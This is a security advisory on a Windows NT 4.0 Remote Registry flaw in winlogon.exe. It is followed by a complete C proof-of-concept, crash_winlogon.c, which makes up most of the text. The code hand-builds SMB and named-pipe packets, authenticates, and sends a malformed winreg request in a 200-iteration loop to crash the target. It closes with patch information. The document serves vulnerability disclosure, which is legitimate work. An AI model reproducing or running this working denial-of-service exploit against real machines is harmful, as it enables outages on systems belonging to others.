COMMAND
kernel
SYSTEMS AFFECTED
Win NT 4 (all versions)
PROBLEM
Following is based on a Security Bulletin from the Microsoft.
Before a request to access the registry from a remote machine can
be processed, it must first be authenticated by the Remote
Registry server. If the request is malformed in a specific
fashion, it could be misinterpreted by the remote registry server,
causing it to fail. Because the Remote Registry server is
contained within the winlogon.exe system process on Windows NT
4.0, a failure in that process would cause the entire system to
fail.
Only an authenticated user could levy such a request -- an
anonymous (or null-session) connection could not cause this
failure. An affected machine could be put back into service by
rebooting.
Renaud Deraison found this originally. Here is a proof of concept
code which will hopefully reproduce the problem. Nessus users
have had this available as a .nasl script so Renaud translated the
code to ugly C for the others. A quick sum up is that at some
place in the winlogon.exe code, there was some instruction like:
value = ptr[length];
where 'ptr' is a ptr to the received packet, and 'length' is a
variable which is somewhere in the packet. By malforming the
proper request, it is possible to make the code execute
value = ptr[0xFFFF];
Which *may* cause an application error in winlogon.exe. This will
pop up a Dr. Watson error dialog, and will crash NT as soon as
the dialog is validated. There are some "random" conditions that
are necessary to make this code work. This means: 100% success is
not garanteed. So don't bug if that does not work for you.
/*
* crash_winlogon.c
*
* by Renaud Deraison - deraison@cvs.nessus.org
*
* This code is released under the GNU General Public License.
* (thanks for respecting this license)
*
* In case you are wondering, here is the motto I applied for this code :
*
* "Structures are for sissies"
*/
#include <stdio.h>
#include <stdlib.h>
#ifdef WIN32
#include <windows.h>
#define bzero(x,y) memset(x, 0, y)
#else
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <ctype.h>
#define closesocket(x) close(x)
#endif
char * netbios_name(char * orig)
{
int i, len;
char * ret = malloc(40);
bzero(ret, 40);
len = strlen(orig);
for(i=0;i<16;i++)
{
if(i >= len)
strcat(ret, "CA");
else
{
int odiv, omod;
odiv = (orig[i] / 16) + 'A';
omod = (orig[i] % 16) + 'A';
ret[strlen(ret)]=odiv;
ret[strlen(ret)]=omod;
}
}
return(ret);
}
char * netbios_redirector()
{
int i;
char * ret = malloc(31);
bzero(ret, 31);
for(i=0;i<15;i++)strcat(ret, "CA");
strcat(ret, "AA");
return(ret);
}
char* unicode(char * data)
{
int len = strlen(data);
int i;
char * ret = malloc(110);
int l = 0;
bzero(ret,110);
for(i=0;i<len;i++)
{
ret[i*2] = data[i];
}
if(len & 1){
ret[len*2+7] = 0x19;
ret[len*2+9] = 0x02;
}
else
{
ret[len*2+8] = 0x19;
ret[len*2+10] = 0x02;
}
return(ret);
}
char *
smb_session_request(soc, remote)
int soc;
char* remote;
{
char * nb_remote = netbios_name(remote);
char * nb_local = netbios_redirector();
char * request = malloc(400);
u_char req_head[] = {0x81, 0x00, 0x00, 0x48, 0x20};
u_char req_body[] = {0x00, 0x20};
u_char * answer = malloc(400);
int n;
bzero(request, 400);
memcpy(request, req_head, 5);
memcpy(request+5, nb_remote, strlen(nb_remote));
memcpy(request+5+strlen(nb_remote), req_body, 2);
memcpy(request+5+strlen(nb_remote)+2, nb_local, strlen(nb_local));
send(soc, request, 5+strlen(nb_remote)+strlen(nb_local)+2+1, 0);
bzero(answer, 400);
n = recv(soc, answer, 400, 0);
if(answer[0]==0x82)return(answer);
else return(NULL);
}
char *
smb_neg_prot(soc)
int soc;
{
char * r;
u_char neg_prot[] = {0x00,0x00,
0x00, 0x89, 0xFF, 0x53, 0x4D, 0x42, 0x72, 0x00,
0x00, 0x00, 0x00, 0x18, 0x01, 0x20, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x28, 0x00, 0x00,
0x00, 0x00, 0x00, 0x66, 0x00, 0x02, 0x50, 0x43,
0x20, 0x4E, 0x45, 0x54, 0x57, 0x4F, 0x52, 0x4B,
0x20, 0x50, 0x52, 0x4F, 0x47, 0x52, 0x41, 0x4D,
0x20, 0x31, 0x2E, 0x30, 0x00, 0x02, 0x4D, 0x49,
0x43, 0x52, 0x4F, 0x53, 0x4F, 0x46, 0x54, 0x20,
0x4E, 0x45, 0x54, 0x57, 0x4F, 0x52, 0x4B, 0x53,
0x20, 0x31, 0x2E, 0x30, 0x33, 0x00, 0x02, 0x4D,
0x49, 0x43, 0x52, 0x4F, 0x53, 0x4F, 0x46, 0x54,
0x20, 0x4E, 0x45, 0x54, 0x57, 0x4F, 0x52, 0x4B,
0x53, 0x20, 0x33, 0x2e, 0x30, 0x00, 0x02, 0x4c,
0x41, 0x4e, 0x4d, 0x41, 0x4e, 0x31, 0x2e, 0x30,
0x00, 0x02, 0x4c, 0x4d, 0x31, 0x2e, 0x32, 0x58,
0x30, 0x30, 0x32, 0x00, 0x02, 0x53, 0x61, 0x6d,
0x62, 0x61, 0x00
};
send(soc, neg_prot, sizeof(neg_prot), 0);
r = malloc(4000);
bzero(r, 4000);
recv(soc, r, 4000, 0);
if(!r[9])return(r);
else return(NULL);
}
char * smb_session_setup(soc, login, password)
int soc;
char * login, * password;
{
int len = strlen(login) + strlen(password) + 57;
int bcc = 2 + strlen(login) + strlen(password);
int len_hi = len / 256, len_low = len % 256;
int bcc_hi = bcc / 256, bcc_lo = bcc % 256;
int pass_len = strlen(password) + 1;
int pass_len_hi = pass_len / 256, pass_len_lo = pass_len % 256;
u_char req[] = {0x00,0x00,
len_hi, len_low, 0xFF, 0x53, 0x4D, 0x42, 0x73, 0x00,
0x00, 0x00, 0x00, 0x18, 0x01, 0x20, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x28, 0x00, 0x00,
0x00, 0x00, 0x0A, 0xFF, 0x00, 0x00, 0x00, 0x04,
0x11, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, pass_len_lo, pass_len_hi, 0x00, 0x00, 0x00, 0x00, bcc_lo,
bcc_hi};
char * r;
char * s;
s = malloc(5000);
bzero(s, 5000);
memcpy(s, req, sizeof(req));
memcpy(s+sizeof(req), password, strlen(password)+1);
memcpy(s+sizeof(req)+strlen(password)+1, login, strlen(login)+1);
send(soc, s, sizeof(req)+strlen(password)+1+strlen(login)+1, 0);
free(s);
r = malloc(4000);
bzero(r, 4000);
recv(soc, r, 4000, 0);
if(!r[9])return(r);
else return(NULL);
}
char * smb_tconx(soc, name, uid)
int soc;
char * name;
int uid;
{
int high = uid / 256;
int low = uid % 256;
int len = 55 + strlen(name) + 1;
int ulen = 13 + strlen(name);
u_char req [] = {0x00, 0x00,
0x00, len, 0xFF, 0x53, 0x4D, 0x42, 0x75, 0x00,
0x00, 0x00, 0x00, 0x18, 0x01, 0x20, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x28, low, high,
0x00, 0x00, 0x04, 0xFF, 0x00, 0x00, 0x00, 0x00,
0x00, 0x01, 0x00, ulen, 0x00, 0x00, 0x5C, 0x5C};
u_char req2[] = {0x5C, 0x49,
0x50, 0x43, 0x24, 0x00, 0x49, 0x50, 0x43, 0x00};
char * s = malloc(4000);
bzero(s, 4000);
memcpy(s, req, sizeof(req));
memcpy(s+sizeof(req), name, strlen(name));
memcpy(s+sizeof(req)+strlen(name), req2, sizeof(req2));
send(soc, s, sizeof(req)+sizeof(req2)+strlen(name), 0);
bzero(s, 4000);
recv(soc, s, 4000, 0);
if(!s[9])return(s);
else return(NULL);
}
char * smbntcreatex(soc, uid, tid)
int soc, uid, tid;
{
u_char tid_high = tid / 256, tid_low = tid % 256;
u_char uid_high = uid / 256, uid_low = uid % 256;
char* r;
u_char req[] = {0x00, 0x00,
0x00, 0x5B, 0xFF, 0x53, 0x4D, 0x42, 0xA2, 0x00,
0x00, 0x00, 0x00, 0x18, 0x03, 0x00, 0x50, 0x81,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, tid_low, tid_high, 0x00, 0x28, uid_low, uid_high,
0x00, 0x00, 0x18, 0xFF, 0x00, 0x00, 0x00, 0x00,
0x07, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x9F, 0x01, 0x02, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x01, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00,
0x00, 0x00, 0x00, 0x08, 0x00, 0x5C, 0x77, 0x69,
0x6e, 0x72, 0x65, 0x67, 0x00};
send(soc, req, sizeof(req), 0);
r = malloc(4000);
bzero(r, 4000);
recv(soc, r, 4000, 0);
if(!r[9])return(r);
else return(NULL);
}
char * pipe_accessible_registry(soc, uid, tid, pid)
int soc, uid, tid, pid;
{
u_char tid_low = tid % 256, tid_high = tid / 256;
u_char uid_low = uid % 256, uid_high = uid / 256;
u_char pipe_low = pid % 256, pipe_high = pid / 256;
u_char req[] = {
0x00, 0x00,
0x00, 0x94, 0xFF, 0x53, 0x4D, 0x42, 0x25, 0x00,
0x00, 0x00, 0x00, 0x18, 0x03, 0x00, 0x1B, 0x81,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, tid_low, tid_high, 0x00, 0x28, uid_low, uid_high,
0x00, 0x00, 0x10, 0x00, 0x00, 0x48, 0x00, 0x00,
0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4C,
0x00, 0x48, 0x00, 0x4C, 0x00, 0x02, 0x00, 0x26,
0x00, pipe_low, pipe_high, 0x51, 0x00, 0x5C, 0x50, 0x49,
0x50, 0x45, 0x5C, 0x00, 0x00, 0x00, 0x05, 0x00,
0x0B, 0x00, 0x10, 0x00, 0x00, 0x00, 0x48, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x16,
0x30, 0x16, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0xd0,
0x8c, 0x33, 0x44, 0x22, 0xF1, 0x31, 0xAA, 0xAA,
0x90, 0x00, 0x38, 0x00, 0x10, 0x03, 0x01, 0x00,
0x00, 0x00, 0x04, 0x5D, 0x88, 0x8A, 0xEB, 0x1C,
0xc9, 0x11, 0x9F, 0xE8, 0x08, 0x00, 0x2B, 0x10,
0x48, 0x60, 0x02, 0x00, 0x00, 0x00};
u_char * r;
send(soc, req, sizeof(req), 0);
r = malloc(4000);
bzero(r, 4000);
recv(soc, r, 4000, 0);
if(!r[9])return(r);
else return(NULL);
}
char * registry_access_step1(soc, uid, tid, pid)
int soc, uid, tid, pid;
{
u_char tid_low = tid % 256, tid_high = tid / 256;
u_char uid_low = uid % 256, uid_high = uid / 256;
u_char pipe_low = pid % 256, pipe_high = pid / 256;
u_char * r;
u_char req[] = {0x00, 0x00,
0x00, 0x78, 0xFF, 0x53, 0x4D, 0x42, 0x25, 0x00,
0x00, 0x00, 0x00, 0x18, 0x03, 0x80, 0x1D, 0x83,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, tid_low, tid_high, 0x00, 0x28, uid_low, uid_high,
0x00, 0x00, 0x10, 0x00, 0x00, 0x24, 0x00, 0x00,
0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54,
0x00, 0x24, 0x00, 0x54, 0x00, 0x02, 0x00, 0x26,
0x00, pipe_low, pipe_high, 0x35, 0x00, 0x00, 0x5c, 0x00,
0x50, 0x00, 0x49, 0x00, 0x50, 0x00, 0x45, 0x00,
0x5C, 0x00, 0x00, 0x00, 0x00, 0x5c, 0x05, 0x00,
0x00, 0x03, 0x10, 0x00, 0x00, 0x00, 0x24, 0x00,
0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x0C, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x10, 0xFF,
0x12, 0x00, 0x30, 0x39, 0x01, 0x00, 0x00, 0x00,
0x00, 0x02};
send(soc, req, sizeof(req), 0);
r = malloc(4000);
bzero(r, 4000);
recv(soc, r, 4000, 0);
if(!r[9])return(r);
else return(NULL);
}
void crash_winlogon(soc, uid, tid, pid, key, reply)
int soc, uid, tid, pid;
char * key, * reply;
{
int key_len = strlen(key) + 1;
int key_len_hi = key_len / 256;
int key_len_lo = key_len % 256;
int tid_low = tid % 256;
int tid_high = tid / 256;
int uid_low = uid % 256;
int uid_high = uid / 256;
int pipe_low = pid % 256;
int pipe_high = pid / 256;
char * uc = unicode(key);
int len_uc = 100;
int len = 148 + len_uc;
int len_hi = len / 256;
int len_lo = len % 256;
int z = 40 +len_uc;
int z_lo = z % 256;
int z_hi = z / 256;
int y = 81 + len_uc;
int y_lo = y % 256;
int y_hi = y / 256;
int x = 64 + len_uc;
int x_lo = x % 256;
int x_hi = x / 256;
int n;
u_char req[] = {
0x00, 0x00,
len_hi, len_lo, 0xFF, 0x53, 0x4D, 0x42, 0x25, 0x00,
0x00, 0x00, 0x00, 0x18, 0x03, 0x80, reply[16], reply[17],
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00,tid_low, tid_high, 0x00, 0x28, uid_low, uid_high,
0x00, 0x00, 0x10, 0x00, 0x00, x_lo, x_hi, 0x00,
0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54,
0x00, x_lo, x_hi, 0x54, 0x00, 0x02, 0x00, 0x26,
0x00, pipe_low, pipe_high, y_lo, y_hi, 0x00, 0x5C, 0x00,
0x50, 0x00, 0x49, 0x00, 0x50, 0x00, 0x45, 0x00,
0x5C, 0x00, 0x00, 0x00, 0x00, 0xb9, 0x05, 0x00,
0x00, 0x03, 0x10, 0x00, 0x00, 0x00, x_lo, x_hi,
0x00, 0x00, 0x02, 0x00, 0x00, 0x00, z_lo, z_hi,
0x00, 0x00, 0x00, 0x00, 0x0F, 0x00};
int x2 = 65535; /* XXXXXX */
int x2_lo = 0xFF, x2_hi = 0xFF;
u_char req2[] = {x2_lo, x2_hi, 0x0A, 0x02, 0x00, 0xEC,
0xFD, 0x7F, 0x05, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, key_len_lo, key_len_hi, 0x00, 0x00};
char * crashme = malloc(4000);
char a[] = {0xFF, 0xFF};
bzero(crashme, 4000);
memcpy(crashme, req, sizeof(req));
memcpy(crashme+sizeof(req), &(reply[84]), 20);
memcpy(crashme+sizeof(req)+20, req2, sizeof(req2));
memcpy(crashme+sizeof(req)+20+sizeof(req2), uc, len_uc);
if((n = send(soc, crashme, len+4, 0))<0)
{
perror("send ");
}
}
int smbntcreatex_extract_pipe(reply)
char * reply;
{
return(reply[43]*256+reply[42]);
}
int tconx_extract_tid(reply)
char * reply;
{
return(reply[29]*256+reply[28]);
}
int session_extract_uid(reply)
char * reply;
{
int low, high;
low = reply[32];
high = reply[33];
return((high*256)+low);
}
#define error() _error(__LINE__)
void _error(int line)
{
printf("Error at line %d\n", line);
exit(1);
}
int main(argc, argv)
int argc;
char * argv[];
{
char * r;
int soc;
struct sockaddr_in sin;
int uid, tid, pid;
char * name;
char * ip;
char * login, * password;
int i;
#ifdef WIN32
WSADATA winSockData;
WSAStartup(0x0101, &winSockData);
#endif
if(argc < 3)
{
printf("Usage : winlogon host_ip netbios_name login [password]\n");
exit(1);
}
name = strdup(argv[2]);
for(i=0;i<strlen(name);i++)name[i] = toupper(name[i]);
ip = strdup(argv[1]);
login = strdup(argv[3]);
if(argv[4])password = strdup(argv[4]);
else password = "";
printf("ip : %s\n", ip);
printf("name : %s\n", name);
printf("login : %s\n", login);
printf("password : %s\n", password);
for(i=0;i<200;i++)
{
soc = socket(AF_INET, SOCK_STREAM, 0);
if(soc < 0)error();
bzero(&sin, sizeof(sin));
sin.sin_port = htons(139);
sin.sin_addr.s_addr = inet_addr(ip);
sin.sin_family = AF_INET;
connect(soc, (const struct sockaddr*)&sin, sizeof(sin));
r = smb_session_request(soc, name);
if(!r)error();free(r);
r = smb_neg_prot(soc);
if(!r)error();free(r);
r = smb_session_setup(soc, login, password);
if(!r)error();
uid = session_extract_uid(r);free(r);
r = smb_tconx(soc, name, uid);
if(!r)error();
tid = tconx_extract_tid(r);free(r);
r = smbntcreatex(soc, uid, tid);
if(!r)error();
pid = smbntcreatex_extract_pipe(r);free(r);
r = pipe_accessible_registry(soc, uid, tid, pid);
if(!r)error();free(r);
r = registry_access_step1(soc, uid, tid, pid);if(!r)error();
crash_winlogon(soc, uid, tid, pid, "x", r);
shutdown(soc, 2);
closesocket(soc);
}
#ifdef WIN32
WSACleanup();
#endif
return 0;
}
SOLUTION
Windows 2000 is not affected by this vulnerability. Patch
availability:
- Microsoft Windows NT 4.0 Workstation, Server, and Server, Enterprise Edition: http://www.microsoft.com/Downloads/Release.asp?ReleaseID=21772
- Microsoft Windows NT 4.0 Server, Terminal Server Edition: To be released shortly